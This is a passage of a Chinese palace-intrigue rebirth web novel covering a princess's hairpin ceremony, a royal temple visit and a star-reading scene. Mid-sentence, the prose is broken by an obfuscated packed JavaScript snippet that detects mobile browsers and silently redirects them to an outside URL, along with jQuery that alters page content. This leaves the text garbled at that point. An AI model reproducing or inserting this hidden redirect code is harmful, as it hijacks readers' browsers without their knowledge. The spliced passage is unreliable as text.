“也就惠贞长公主舍得。” “嘘、嘘!噤声,清河王看过来了。” “裴清都一无实权,二无封地,连俸禄都没有,闲散富贵人家都算不上,你怕他什么?” “他到底是岐国公义子,这还在国公府呢,你不怕这些话传进国公和长公主耳朵里?” 裴令仪平淡地收回视线。 今日是元韫浓的大好日子,裴令仪穿了一身深红罩甲,黑色的内衬。 他鼻梁高挺,线条流畅而凌厉。 少年的英气压了几分艳色的戾气,引来了不少怀春姑娘的视线。 难免叹息,可惜了这副好皮囊,却偏偏姓了裴。 他望向这些人议论和目光的所重之处,元韫浓就站在那里。 木实花繁,倘若枝头雪。 琼花之下,元韫浓背负日光春光,花色添浓。 繁花似锦,若雨雪纷霏般飘落。 元韫浓站在花影之中,胜似瑶池仙露,月殿轻风。 她的身影融入明媚的日光之中,似是神佛慈悲,为她镀金身,免苦楚。 元韫浓朝他一步步走过来,光影移转,身上鎏金溢彩似乎是金片一般一点点脱落。 裴令仪的心猝然剧烈跳动起来。 “阿姊……” 元韫浓朝他摊开手,“生辰礼。” 裴令仪愣了愣,不自然地挪开了视线,他的目光落在正厅之内,香案之上,摆放着的华贵笄簪上。 三把笄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476453|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 簪。 一把由岐国公和惠贞长公主授予的琼花白玉笄,由长公主加笄。 玉质细腻,色泽纯净柔和,无杂质瑕疵,表面打磨得光滑如镜,触感温润。 一把由元云和、元彻回和元蕴英三位兄姐授予的点翠蔓草蝴蝶纹银笄,由族中德高望重的族老夫人加笄。 银质洁白光亮,展翅欲飞的蝴蝶纹路细腻如叶脉般分布,线条自然,灵动异常。 一把由元氏几代前的一个前朝皇后留下,是全族授予的绛珠双凤金笄。 说好是惠帝交由皇后加笄的,只是临了头方才皇后突然称病不来了。 惠贞长公主听闻这个消息倒是神色如常,并不意外。 这发笄色泽灿烂夺目,凤首高昂,喙部微张,镶嵌着两颗鲜艳欲滴的红宝石点缀为眼睛,华美非常。 这三把发笄,一个比一个珍贵,一个比一个华美。 裴令仪无声地握紧了袖中的礼物,他没有好意思送出去的发笄。 他也想要庆贺元韫浓的生辰,元韫浓一生一次的成人礼。 所以左思右想,千挑万选,最后还是选了发笄。 这次是有钱了的,他逐步在接触裴氏一脉留下的旧部,甚至冒了风险取了钱出来,来支付这次为元韫浓挑选的礼物。 这次才好些,可以跟那香案上的三把发笄作比了。 但到了此时此刻他才发现自己的羞于启齿,他遣人打造的琥珀嵌银弯月发笄,倒像是在刻意向元韫浓表明,他为上次的耳坠做补偿似的。 本不应该想那么多的,可是在元韫浓面前,裴令仪控制不住自己想那么多。 只要见到元韫浓,他本能地低她一等。 于是他道:“我忘了准备了,改日再补给阿姊。” 元韫浓眉梢一挑。 正想要说些什么,礼乐奏响,元韫浓话到嘴边,改成了别的:“同我一道进去吧。” 裴令仪微微一怔,表情柔和下来,轻轻“嗯”了一声。 百花裙裙摆宽大,行走时如百花盛开,摇曳生姿。 元韫浓缓步走入正厅。 百花裙上绣春风,步步生莲映日红。 正厅之中,高堂之上,岐国公与惠贞长公主端坐于主位。 岐国公身着魏紫朝服,面容威严却难掩眼中的欣慰与感慨。 惠贞长公主打量着元韫浓,微微点头,颇有吾家有女初长成的自豪。 厅中宾客更是有头有脸的人物,衣香鬓影,笑语盈盈。 赞礼官高声唱喏,声音清朗:“吉时已到,及笄之礼始。” 元韫浓款步上前,向父母行礼,以谢养育之恩。 岐国公轻轻扶起女儿,难免感慨万千,“吾儿已是及笄之年,为父不求你同兄姐那般不负家族期许,只盼着你身体康健,承欢膝下。” 惠贞长公主握着元韫浓的手臂,端详她的面容一遍又一遍,“阿娘不盼你别的,只希望你一生平安喜乐。” 元韫浓轻轻点头。 惠贞长公主走上前,手持玉笄,动作轻柔地将笄插入元韫浓的发髻,象征人生的新阶段。 族老夫人持银笄,祝愿元韫浓德言容功兼备,也能做成自己。 最后象征家族的荣耀,金笄本该是皇后来加笄的,只是她称病不到。 顶替皇后的是一位女道,一手持金笄,另一手持桃木发笄,一左一右,与上边的玉笄银笄对称。 元韫浓没认出这人是谁,但是惠贞长公主请来顶替皇后的宾客,必然也不会是什么简单的人。 周边议论纷纷:“这女道……” “啊,是云水**。”他们惊声道。 南朝佛道都盛行,像太后和皇后就一个曾远去龙泉寺修行,一个在宫里设了佛堂,还常给镇国寺捐香火钱。 而元云和就是信道的,在家中还有她专门的道观供她修行,说来其实也是一个女道。 和镇国寺相对而立的,便是白云观。 镇国寺有个主持是灵慧大师,白云观便有个道长是云水**,这二人都是颇有名望的修行者。 只是云水**几年前离京,云游在外,杳无音信,如今居然回京了,还为元韫浓加笄。 第30章 奉若神祇 元韫浓抬眸悄悄瞧了一眼云水**,原来是这个**,瞧着还真是不羁。 惠贞长公主是怎么把云游四海的这位请回来的? 当年惠帝要云水**卜卦,云水**不但不卜,还连夜跑出京城到山里修行去了。 气得惠帝次日就给镇国寺新赐了个牌匾,还捐了一大笔香火钱。 得亏惠帝最是信奉这些鬼神之说,不然早把云水**砍了。 惠贞长公主端坐于上座,笑道:“偶得**消息,**说与我家中几个儿女颇有缘分,这才愿意来为应怜加笄。” “看来几位公子小姐都是大有机缘之人啊。” “这缘分玄之又玄,可遇而不可求呢。” “云水**回京了,不知改日可否找她解签呢?” 宾客们你一言我一语。 皇后来与不来,都不重要了,重要的是眼前的云水**。 云水**一甩拂尘,后退几步,站到一边,“几日之后,太后与陛下会前往镇国寺烧香祈福,云水也会拜访镇国寺,同灵慧论道,还请国公携妻儿同往。” 岐国公相当客气,“既然**邀请,那是自然。” 云水**笑了笑,“今日是郡主及笄礼,云水不欲夺人眼球,先行告退。” 她就像是一朵随意飘来的云,闲散地瞧了一眼,落了几滴雨,便又悠哉悠哉地飘远了。 送云水**离开,宴席继续。 礼成之后,宾客们纷纷送上礼物。 厅内厅外,珍馐美馔,宾客举杯欢谈。 皇后不来,也不会放慕湖舟来。 慕湖舟人没到,礼已至。 沈川和慕水妃倒是都来了,元韫浓同他们笑闹了一会。 沈川还要筹备殿试,没待多久就走了。 元韫浓同旁人笑语完了,才想起礼毕之后,都没看见裴令仪去哪里。 转了一圈,元韫浓才发现裴令仪站在她方才站着的琼花之下。 “少年人悲春伤秋呢?”元韫浓一面打趣,一面走近。 裙摆绣着层层叠叠的春花,牡丹雍容、桃花娇艳、杏花淡雅,每一朵都绣得犹如要摇曳起来,似要在这春日里绽放那般。 “阿姊别再打趣我了。”裴令仪说。 元韫浓再次朝他摊开手,“我的生辰礼呢?” 裴令仪还要说些什么,先被元韫浓打断了:“少糊弄我了,我知道你备了礼物。” “还真是什么都瞒不过阿姊。”裴令仪将袖中的发笄放在元韫浓的掌心里,“阿姊莫要嫌弃……” “谈何嫌弃?我知道你每回都是倾尽全力。”元韫浓说,“你为我簪上。” 裴令仪哑然,唇瓣翕动两下,缓慢地从元韫浓手里取回发笄。 他抬起手,生涩又笨拙地为元韫浓加笄。 他分明巧舌如簧,但在元韫浓面前却总像个哑巴。 元韫浓问他:“祝福呢?” 祝愿太多了,裴令仪有很多祝福想要送给元韫浓,什么健康,什么美貌,什么钱财,什么顺遂,什么都好。 千言万语,到了唇齿边又像是被人拔了舌根,被人用炭火烧哑了喉咙。 他最后说:“阿姊,生辰吉乐。” 祝福到了头,变成了誓言。 “只要你让我去做的事情,我都会去做的。”裴令仪承诺。 “我是不是该回个礼?再送你几盆花?”元韫浓玩笑。 裴令仪却沉默一会,道:“阿姊日后,还是别再送我花了。” “什么意思?”元韫浓扬眉问道。 裴令仪的本质是悲观,他从不对什么抱有期待,元韫浓向来都是例外。 “你送给我的花,都枯萎了。”裴令仪说道。 他转头看向一边鲜妍的花丛,春花烂漫,年年如此。 只有他的花永远不会开。 无论是他在被废弃的深宫里日夜饲养的野花野草,还是如今被他精心呵护的名贵花草,没有一个能活下来。 元韫浓低笑一声:“花枯萎了,但不也吸引来了鸟兽吗?” 裴令仪前世就喜好音律,宴请宾客群臣,总会有乐者在旁奏乐。 会听会赏,吹拉弹奏也略懂一些,只是不擅长。 清仪馆人迹冷清,除了元韫浓以外,鸟雀光临得最多。 屋檐的椽木下,都系着长短不一的红绳,铃铛错落有致地垂挂着小巧圆润的铜铃,表面被岁月打磨出一层温润的光泽,在日光的轻抚下,闪烁着柔和的暖黄。 每每风起,铃铛摇晃,铃声清脆悦耳,会吸引来鸟雀呼晴。 元韫浓觉得还敢,也学着裴令仪让小满在外屋檐下挂了雕刻着细腻繁复花纹的银铃。 鸟雀倒是没见多来,花团照旧锦簇。 除了铃铛响时像是在诉说着古老的故事,花纹间光影流动,如梦似幻。 没有什么变化。 “我是该同他们为伍的。”裴令仪垂下眼帘。 他在那些人眼里,和飞鸟走兽有什么区别? “你又开始了。”元韫浓叹气,皱眉,“今天是我的大喜日子,你别说这些。” 裴令仪见元韫浓蹙眉,轻声道:“我不说了,阿姊别生气。” 元韫浓瞥了他一眼,抿了抿唇,“你方才说什么?花枯了怎么了?” “花都是要枯萎的,月亮也是要西沉的。”裴令仪低眸,“既然结果都是那样,我一开始就不该养。” “日升月落乃是天经地义之事,凭我之力无法逆转。但若是你说鲜花枯萎……”元韫浓却道。 元韫浓摘下花冠上的一朵花,递到裴令仪眼前,“这朵,便送给你。” 花冠上的永生花,元韫浓摘下的刚好是琼花,连带着一颗玉珠一起坠落进裴令仪的掌心。 她垂着眼睛,眉心朱砂,慈悲殿中观世音。 裴令仪怔忡地望着元韫浓。 春风拂面,裴令仪恍惚间好像听到了檐下的铃声那样。 元韫浓微笑:“这朵便不会枯萎了。” 像是走过了漫长的旅途那样,裴令仪终于动容,神情柔软,“……嗯。” “应怜。”不远处的惠贞长公主喊道。 元韫浓看了一眼裴令仪,朝惠贞长公主走去,“母亲。” “这是淮江伯夫人,你来见见。”惠贞长公主介绍。 元韫浓笑容得体地向夫人问好。 裴令仪看着元韫浓的侧脸,又垂眸看向掌心里带了一颗玉珠的永生花。 裴九原本是要向裴令仪禀报的,见了这幕不禁道:“郡主戴着那花冠,眉心点血,跟个小仙君一样。” “你说什么呢?”裴七等他。 “真的很像啊。”他撇了撇嘴,“尤其是方才垂着眼睛,把冠上花摘下来,放在主子手中的时候。” 裴七说:“别说这些胡话。” 裴九切了一声。 裴令仪眸色愈深,微微抬目,双眸犹如深不见底的幽寂深潭,“于我而言,就是如此。” 他道:“阿姊如此,我当日夜供奉,朝夕叩拜,尊为神祇。” * 正如云水**所言,不日之后,惠帝携一众妃嫔之女一起前往镇国寺礼佛。 这名义上是和家人一起去礼佛,所以太后、皇后,还有几个皇子公主,皇亲国戚都在。 岐国公和惠贞长公主也带着三个儿女,还有裴令仪一道。 暖煦的日光倾洒在路上,华丽的仪仗队蜿蜒前行,浩浩荡荡。 裴令仪和元韫浓都是不信鬼神之人,不见得有半点虔诚之色。 这条路不长,但是元韫浓体质弱,走了两步就开始气息不稳。 元韫浓眉目含情,脸颊泛起红晕,暗自恼恨惠帝想到一出是一出。 要不是太后,她上着山压根不用自己走。 偏偏现在只有太后能坐轿辇,连惠帝都在走,她也不可能越过惠帝去坐轿辇。 “阿姊在看什么?”身后传来少年清冽的嗓音。 一只手臂托在元韫浓的腰背,稳住她的身形。 元韫浓借着力站稳了,却没有回头,目光依然追随着最顶头的那个轿辇。 她似笑非笑:“看太后娘娘的轿辇,金丝楠木,还镶嵌着南海明珠,不知道得花多少钱呢。“ 裴令仪顺着元韫浓的视线望去,弯了弯唇,“阿姊若是喜欢,改日我让人给你打造一顶更贵的。“ “行了。”元韫浓终于转过身来,“佛门圣地,你且 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惠贞长公主本就是怕元韫浓身子受不住,才叫她走在后头,偷个懒慢些也不会有人发觉。 现下到了前边,在太后和皇后眼皮子底下,是半分也不能懈怠了。 元韫浓扯着唇角的笑意,心想等她上了位不该先立马毒死太后,就该让太后爬八百十遍镇国寺的山再毒死。 好不容易爬到了镇国寺前,住持灵慧大师率领僧众,身披袈裟,双手合十,站立在门前,恭恭敬敬地迎接着皇室众人。 灵慧大师身着深红袈裟,身后一众僧伽身着素色僧袍,手持经幡,整齐排列。 宦官高喊驾到之后,灵慧大师带领众僧双手合十,躬身行礼。 太后的轿辇停下,两名宫女上前放下辇梯,太后走下凤辇。 身后的惠帝和皇后并肩走出。 灵慧大师上前一步,恭敬道:“阿弥陀佛,镇国寺众僧恭迎太后、帝后圣驾,愿我佛庇佑我朝国泰民安,福泽绵延。” 太后微微颔首,微笑道:“大师不必多礼。今日前来,也是为我朝祈福。” 正在说道之间,人群中一阵轻微的骚动。 一个年轻的僧人从一众和尚里走出,单独上前拜见太后与帝后。 他身着一袭素净僧袍,面容清瘦,有着超脱尘世的淡然,一切纷扰都与他再无关系。 正是早先皈依佛门的皇二子慕易遥。 慕易遥虽然说生母出身低微,是皇后身边自幼一起的陪嫁婢女出身,后来被皇后推举为妃子,才一朝诞下麟儿。 但是在很长一段时间里,慕易遥都是惠帝唯一的儿子。 因为第一个孩子莫名其妙地溺水,后面也没有子嗣出生,惠帝着实被朝臣们逼得焦躁了一段时间。 慕易遥的出现证明了惠帝,给惠帝吃了一颗定心丸,他的存在于惠帝而言是有特殊意味的。 直到后面的孩子先后降生,尤其是嫡子慕湖舟的诞生。 惠帝眼中闪过一丝复杂的神色。 众人纷纷行礼,气氛瞬间变得有些凝重。 元韫浓微微垂眸,将这一切尽收眼底,心中暗自思忖着这其中的微妙关系。 “不肖子孙慕易遥,拜见太后,拜见陛下,拜见娘娘。”慕易遥行了跪拜大礼。 皇后笑容僵硬,“小师傅何必多礼?既然已是修得此道,便不要贪恋红尘了。” 这话说出口,她惊觉自己说错了话,看了一眼惠帝难看的脸色。 皇后连忙补救:“只是这父母恩情,血脉相连,到底是割舍不了的。” 太后不轻不重地插了一句:“行了,灵慧大师,麻烦你了。” “太后娘娘客气了。”灵慧大师面色未改,引领众人向寺内走去。 众僧在两旁诵经,声音低沉而悠扬。 太后和惠帝皇后走在前面,前头还有岐国公、惠贞长公主等一众长辈。 元韫浓这些小辈在后头。 她不动声色地打量着寺庙的一草一木,偶尔低声和裴令仪交流几句。 进入大雄宝殿,香烟袅袅,佛像庄严,目光慈悲。 第31章 镇国寺 灵慧大师亲自点燃高香,呈给太后。 太后对神佛一事向来深信不疑,双手接过,虔诚地向佛像叩拜,口中念念有词。 随后帝后也依次上香祈福。 礼佛仪式有条不紊地进行着,整个镇国寺都沉浸在一片祥和与神圣之中。 仿佛尘世的喧嚣都被隔绝在外,唯有佛音袅袅,回荡在寺庙的每一个角落。 众人再随帝后后边上香祈福。 元韫浓动作行云流水,面上端庄,心中却毫无波澜。 裴令仪本是不信的,但是想了想,下拜时比旁人都虔诚几分。 元韫浓多瞧了他几眼,稀奇他竟然有所求之事寄托于神佛,还如此虔诚。 “你先前不还说是泥塑木雕换成了金塑玉雕,没甚意思吗?”元韫浓压低了声音问。 裴令仪低着脑袋,挨过去一些,小声回道:“现下有所求了。” 元韫浓更好奇了。 求什么呢? 她悄悄瞄过去,凑耳朵听,裴令仪一丁点儿的声都没发出来。 只是隐约辨别出嘴唇翕动时说的几个字,好像是她名字。 裴令仪还没求完呢,就被皇后的声音打断了。 “朝荣?你在何处?”皇后的声音从上头传来。 元韫浓眉心一跳,整理衣衫,从人群里走出,“皇后娘娘。” 皇后面色微沉,“朝荣,收着些性子,镇国寺里可得守些规矩。” 元韫浓面上乖巧应下:“谨遵娘娘教诲。” “太后娘娘心疼你身子弱,上前头来好好拜拜,求佛祖保佑你身体康健。”皇后道。 瞎扯。元韫浓一面在心底轻嗤,一面恭顺地应声上前。 太后道:“清河王也一并上来吧,你们年岁相近,如今又是义姐弟。善男信女,倒也应景,很好。” 善男信女这四个字,跟元韫浓和裴令仪是半点不沾边。 裴令仪和元韫浓一起跪到前头,状似诚心诚意地行礼祈福。 待到二人礼毕起身,太后才淡淡开口:“哀家听说了,你们偶尔也会研习佛法,在看什么书?” 压根没有这个环节,元韫浓和裴令仪都不信鬼神,怎么可能会研习佛法? 岐国公府除了惠贞长公主为了给元韫浓祈福佛道两教一块拜,还有元云和在家中修道以外,其余人对此事并不热衷。 但元韫浓面不改色,恭敬答道:“回太后娘娘的话,确实在研读《大智度论》。” “嗯。”太后面色如常,看不出什么心思,如同一个寻常考问小辈的长辈那样,“可有所得?” 元韫浓应答如注,却答非所问:“受益匪浅。” 太后冷哼一声,看向裴令仪,“那清河王呢?” 裴令仪拱手作揖道:“回太后,臣以为万千世界,因果轮回。” “所以你认为,种什么因,得什么果了?”太后问。 “自然。”裴令仪微笑着看向太后,“就像太后娘娘一般,潜心修炼,广行善事,必然会得到神佛关照的,不是吗?” 太后紧盯着裴令仪,目光阴沉。 这小子跟元韫浓一个模样。 都颔首低眉,柔顺可亲,那张甜美的假面后边藏的野心和怨毒也不会漏出来。 仇恨、阴毒和野望之后日复一日地膨胀,翻滚,沸腾,直到蒸腾出的盘算和心思会烫坏这张百依百顺的姣好面容。 直到那时候,玲珑画皮底下呼之欲出的獠牙才会裸露出来。 “神佛必然会庇佑太后娘娘风华永驻,身体安康。”裴令仪笑着说道。 祝福却跟诅咒一样瘆人。 皇后皱眉道:“佛法无边,岂是可以妄议的?” 元韫浓接过话头:“娘娘恕罪,五郎年少无知,未及弱冠,这才口无遮拦。” “你刚过及笄,他只比你小上几月,快十五了,这也不小了,也该知道什么该说,什么不该说了。”皇后说。 “朝荣以为,佛法讲究的是明心见性,修身养性。”元韫浓笑道,“路漫漫其修远兮,这条路上朝荣与五郎都是初学者。娘娘就不一样了,潜心礼佛多年,自然心若明镜一般。” 又来这套。被戴了高帽了皇后责骂的话,再次哽在喉咙口。 太后眯起眼睛,打量着眼前这个看似温顺的少女,还有她身边表面恭顺的少年。 “朝荣口齿一如既往的伶俐。”她道。 “太后娘娘谬赞了。”元韫浓欠身。 惠帝像是突然提起了兴趣,“那倒是凑巧,朝荣排行第四,清河王又在族中排第五,年龄排下来,顺起来一家亲姐弟似的。” “三郎不也刚好排三吗?”惠贞长公主扬眉,“三四五顺下来,正如一家。” “朕与皇姐本就是一家姐弟,生下的子女也是如此。”惠帝望向惠贞长公主。 惠贞长公主近来态度软化了许多,这是巫蛊案后惠贞长公主头一回主动搭话,不再对他爱答不理的。 惠帝自然回应的积极许多。 他早说了,只有他和惠贞长公主才是一家人。 岐国公点头,“这也确实是一桩缘分。” 太后见不得他们有这么一副一家亲的模样,“行了。” 她摆摆手,“你们都回去吧,哀家还要接着念经,还有事问佛祖。” “阿弥陀佛,太后请便。”灵慧大师平声说道。 众人纷纷退离大雄宝殿。 元韫浓看向寺庙里的美景,正是海棠未雨,梨花先雪,一半春休。 身后传来温柔的女声:“韫浓妹妹。” 裴令仪和元韫浓两人回头,见慕湖舟和慕水妃兄妹正朝他们走来。 “水妃姐姐。”元韫浓对慕水妃展颜一笑,故意没理慕湖舟。 慕湖舟轻咳一声:“方才是皇祖母有意为难,不必放在心上。” 元韫浓翘起唇角,“我倒是无所谓,只是清都受了委屈。” 慕湖舟看向裴令仪,语气温和:“清河王年少气盛,但以后还需多加注意才是,皇祖母并非什么好说话的人。” 裴令仪垂下眼帘,掩去眼中的冷意:“多谢三殿下教诲。” 元韫浓看着两人,并无波澜。 她和裴令仪是极其相似的,他们想要的,从来都不是什么神佛庇佑,而是那个至高无上的位置。 元韫浓看到不远处站了皇后身边的嬷嬷,眉梢一挑。 慕湖舟自然也知道那个嬷嬷从很早开始就站在那里了。 他无可奈何地摇了摇头,抬手摸了摸元韫浓的头发,顺手将方才路边采撷的花骨朵戴在了元韫浓鬓间,“很漂亮。” 元韫浓下意识伸手摸了一下花。 “晚上父皇会设宴,晚点再见。”慕湖舟笑了笑。 慕湖舟没待多久就被皇后叫走了,皇后是见不得慕湖舟有事没事就跟元韫浓混在一起。 慕水妃的母妃并不受宠,甚至这次镇国寺礼佛出宫的机会,也是因为诞下皇嗣才能来的。 她也没多久就被叫走了。 “可别辜负了这好光景,逛逛吗?”元韫浓漫不经心地抬手勾勒了一下身边低垂的梨枝,已是梨花落尽。 裴令仪经常陪元韫浓四下闲逛漫步。 他们闲语几番漫不经心,说出口的却尽是些叛经离道的狂悖之言。 元韫浓是爱好奢靡,附庸风雅之人。 世家子弟,五陵少年,在锦绣堆里打着滚长大。 春日斗花,夏衣轻薄,秋笼捉蟋,冬雪温酒,极尽风雅趣事。 歧国公府的人都是大忙人,所以元韫浓同最知她本性的裴令仪看尽了京华风景。 同前世那样,裴令仪虽说是沉默寡言之人,但唯独在元韫浓面前话多。 因为不再有人会听他说话了,不愿意听,或是不敢听。 而他也不信任那些人。 无论前世还是今生,元韫浓与裴令仪都并肩走过太多路了。 裴令仪陪元韫浓走在花树之下,状似不经意间问:“阿姊是更喜欢云游四海,还是更喜欢权倾天下?” “都喜欢。”元韫浓回道,“等我权倾天下,哪儿不能去?先前史书上,也有帝后把政事都丢给自己几岁的孩子,叫其监国,自己跑出去玩。” “看来阿姊已经想好了。”裴令仪顿了顿,“阿姊就是想当皇后,是吗?” 听裴令仪提起这事,元韫浓就莫名烦躁。 她停下脚步,站定了,“你到底是什么意思?” “阿姊。”裴 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“重要的是他能为我所用,为我去争。”元韫浓指了指裴令仪的心口,“就像是你一样。” 裴令仪眸光晦涩,“是。” “要下雨了。”元韫浓轻声道,“今日先到这里吧。” 她不想走下去了。 “好。”裴令仪不会拒绝她。 二人在此处分开,回到自己的厢房,直到晚宴开始。 晚宴在寺中举行,灯火通明,照得四周亮如白昼。 僧人们不会来打扰这一处,只太后、惠帝和皇后,还有这些皇亲国戚们在此处。 尽管滴酒不沾,净是素斋,但这场名义上的家宴也维持了表面上的气氛融洽。 期间慕湖舟似乎都想要跟元韫浓说些什么的,只是他但凡有什么举动,都会立即被皇后打断。 这场晚宴结束得很快,也只是表面功夫罢了。 结束之后,元韫浓便依照之前与云水**所言的那样,同灵慧大师和云水**会面。 禅房内檀香袅袅,灵慧大师与云水**似乎等候已久,相对而坐。 二人正在对弈,中间隔着一张紫檀木案几。 案几上摆着一局残棋,黑白子交错,宛如阴阳交汇。 “郡主来了。”云水**笑道。 灵慧大师微微颔首,“檀越请坐。” 元韫浓没有客气,寻了一处地便坐了下来,等待二人开口。 是云水**让她来的,自然也是云水**说明其中意思。 “郡主可愿听我们辩一场?”云水**道,“我和这秃驴,也是多年至交了。” 听云水**对灵慧大师的这称呼,元韫浓眉心一跳。 还真是脱俗啊,**。 “自然愿意。”元韫浓微笑。 灵慧大师执黑子落下一子,“因果轮回,前世种因,今生得果。若是强行改变,便是逆天而行。” 他开口第一句,元韫浓就抬眸看了过去,脸色微变。 云水**却泰然自若,面不改色,“此言差矣。” 她执白子应对:“阴阳变化,否极泰来。所谓逆天,或许正是顺天。” 灵慧大师摊开手,“请讲。” “譬如此局。”云水**指着棋盘,“看似死局,实则暗藏生机。若因循守旧,必败无疑。若敢于变通,或可反败为胜。” 灵慧大师摇头:“棋局可改,天命难违。” 他叹息一声:“逆天而行,执念太深。强行改变命中注定之事,结果必遭反噬。” “我看你就是太迂腐,太守旧了。”云水**笑道,“天道无常,谁说回到起点就是逆天了?你的佛告诉你的吗?或许,这正是天意。” 元韫浓听得心惊肉跳。 他们二人虽未明说,但每一句话都似乎在暗示。 短短几句谈话之间,元韫浓想了无数的可能和退路,甚至想过了要不要干脆解决掉这两人算了。 似乎是觉察到元韫浓心中所想,云水**看过来,“郡主是真不信鬼神啊。” 第32章 紫微星 元韫浓脸笑肉不笑,“我原先是真不信的,可是如今一见二位竟然有如此神通,可就得信了。” “阿弥陀佛。”灵慧大师双手合十,“檀越还请放心,贫僧与云水并无想要害檀越之心,此事也不会透露给旁人知晓。” “这可当真?”元韫浓问道。 这件事情若是真的被传了出去,让她的仇家知晓了,必然会是灭顶之灾。 与其有此祸患,倒还不如多费点心思先把危险扼杀在摇篮之中呢。 灵慧大师道:“出家人不打诳语。” 元韫浓微笑:“我相信二位。” 心中却想,需得让人盯着些。 她转而问:“就二位方才所言,我分明顺应天命而来,为何算是逆天而为?” 云水**看向灵慧大师笑道:“你看,我就说吧,这怎能算是逆改天命?分明是天命允她如此。” 禅房内一时寂静,只有檀香袅袅上升。 良久,灵慧大师叹了口气:“二人执意如此,贫僧也不再多言。只是……” 他忽然转头看向元韫浓,“世间万物皆有因果,檀越如此所为,不仅仅是修改自身因果,也在介入他人因果。” 元韫浓眸光闪烁。 “正如檀越义弟今日在殿上所言,种什么因,得什么果。依贫僧所见,檀越如今已经介入了太多的他人因果。”灵慧大师道。 “何必吓唬小辈呢?”云水**解围道,“既得机会重来,若是不能补足遗憾,岂不是白白浪费?这其中的代价和滋味,自然也是她自己明白的。” 灵慧大师摇头:“云水,你这是在误导她。介入他人因果,轻则有损阳寿,重则反倒替他人承担因果。” 云水**却神色如常,“人生在世,有所得必有所失。” “正如此局。”她指向棋盘,“若因瞻前顾后而不敢落子,则会失去更多的棋子。” 她笑着望向元韫浓,“我瞧郡主,也是执棋人。” 元韫浓笑而不语。 灵慧大师凝视棋盘良久,忽然笑了:“也罢。” 他站起身,行合十礼,“这局棋,贫僧认输。” 云水**也笑了:“承让。” 她又转向元韫浓,“郡主,你家特别的并不是只有你一人。” 元韫浓扬眉,“我家大姐姐潜心修道,在家中道观修行,看来也是颇得机缘。” “不止是她。”云水**摇摇头,“你大哥也是个奇人。” “哦?”这确实令元韫浓相当意外,“还望**指明,我大哥得了什么机缘?” “近日来,我夜观星象。”云水**含笑,“有三颗星,俱有帝王之气。” “三颗?”元韫浓惊异。 “是轩辕十四、心宿二和紫微星。”灵慧大师开口。 元韫浓笑意略有讽刺,“我们陛下也不算是这三颗星的其中之一吧?” 云水**哈哈笑出了声:“自然不算,那老东西在星象里的意象,可谓是黯淡得不行。” 灵慧大师轻咳一声:“云水,莫要口出狂言。” 元韫浓看向云水**的眼神略带欣赏,“**还真是个不拘小节的人物,令人钦佩啊。” “彼此彼此,谬赞谬赞。”云水**谦虚地摆了摆手。 她早看不惯惠帝那人了,她看卦都是随缘,惠帝当初上来就是说她虽然是一介女流比不上灵慧,但灵慧闭关,就暂且先让她也来算个卦象看看吧。 这话说得,也太侮辱人了。 “云水。”灵慧大师无奈道。 云水**清了清嗓子,正色道:“紫微星许是印证了郡主的命轨。” “紫微星自古以来可都是帝王之心啊。”元韫浓笑着道。 但却并没有半点觉得自己不该和此星挂钩。 毕竟前世她所作所为,可也都是帝王之事。 “檀越不必谦虚。”灵慧大师道,“心宿二原本的帝王之气并无那么重,自紫微星大亮之后,它的帝王之相也逐渐浓重起来。” 云水**又道:“可有意思的是,这颗心宿二原本不该有这亮色,原本在这天上长明的,只是紫微星和轩辕十二。” 元韫浓若有所思。 “不错。”灵慧大师点头,“这轩辕十四,此星轨迹诡异,初时如丧家之犬,东躲西藏。继而如困兽之斗,锋芒毕露。但从始至终,都有帝王之气。” 云水**笑道:“此星轨迹,确实非同寻常。初时隐于北方,如潜龙在渊。继而南下,如猛虎出柙。如今多少已成气候。” “不出意外的话,原本这帝王星应是这轩辕十四和紫微星。”她道,“只是不日之前,紫微星光芒大盛之后,从而影响到了心宿二,才有了三颗帝王星的场面。” 元韫浓琢磨着这二位的意思。 这轩辕十四应该是裴令仪,紫微星是她,而心宿二或许是慕湖舟。 大概是从前的帝王星是她和裴令仪,但因为她的重生,做出的改变,连带着慕湖舟也有了帝王之气。 那么看来,她如今的选择也没错了。 她并不在意当上帝王的人是谁,反正她是两头下注,横竖左右都吃不了亏。 她知道紫微星依然长明,那就够了。 “那二位觉得,轩辕十四和心宿二谁能堪此大任呢?”元韫浓问。 “灵慧,要不要来赌一赌?”云水**来了兴致,“我是觉得轩辕十四更胜一筹呢。” 灵慧大师却摇头,“此言差矣,此星虽盛,却杀气太重。贫僧观其轨迹,所过之处,必有血光之灾。” “你是嫌他杀劫太多了?”云水**并不赞同,“成大事者,不拘小节。此星虽杀气重,却也有济世之能。” 毁了一切再重构,可比继续这样下去好多了。 灵慧大师叹息,“所过之处,尸横遍野。如此杀孽,如何能成明君?” 云水**笑了,“乱世用重典,沉疴下猛药。若无霹雳手段,何来太平盛世?况且嘛……” 她意味深长地看了元韫浓一眼,“郡主,你知不知道有些缘分前世未了,今生或许能再续前缘呢?” 元韫浓微微一怔。 云水**道:“这要看郡主自己怎么想了?紫微星举足轻重,你的选择……” 话未说完,灵慧大师打断了她的话:“云水,有些话,点到即止即可。” 他对元韫浓道:“檀越,很多事情,望你三思而后行。” 云水**遗憾地叹气,“天机不可泄露,我也不能再告诉你更多了。” 灵慧大师和云水**已经透露了很多了,元韫浓也清楚这一点。 她真心实意地行了一礼,真诚道:“多谢二位指点迷津。” 云水**又捂着嘴,小声地元韫浓说道:“你这条路虽然难走,胜负难定,当你也不必太在乎了。有些人看似与你对立,实则与你同路。这条路,会有人同你并肩同行的。” “云水!”灵慧大师严厉地呵斥道。 “行了,我知道了。”云水**小声嘀咕着。 她又对着元韫浓笑:“灵慧没有恶意的,佛道两家对天机的理解不同,他主张顺应天命,而我……” 她顿了顿,“更相信人定胜天。” “多谢。”元韫浓是真心感激他们。 “不过嘛。”云水**话锋一转,“你真的需得小心,很事情既然改变了,结果或许也会不同了。前世紫微星亮到了最后,今生便不一定了。” 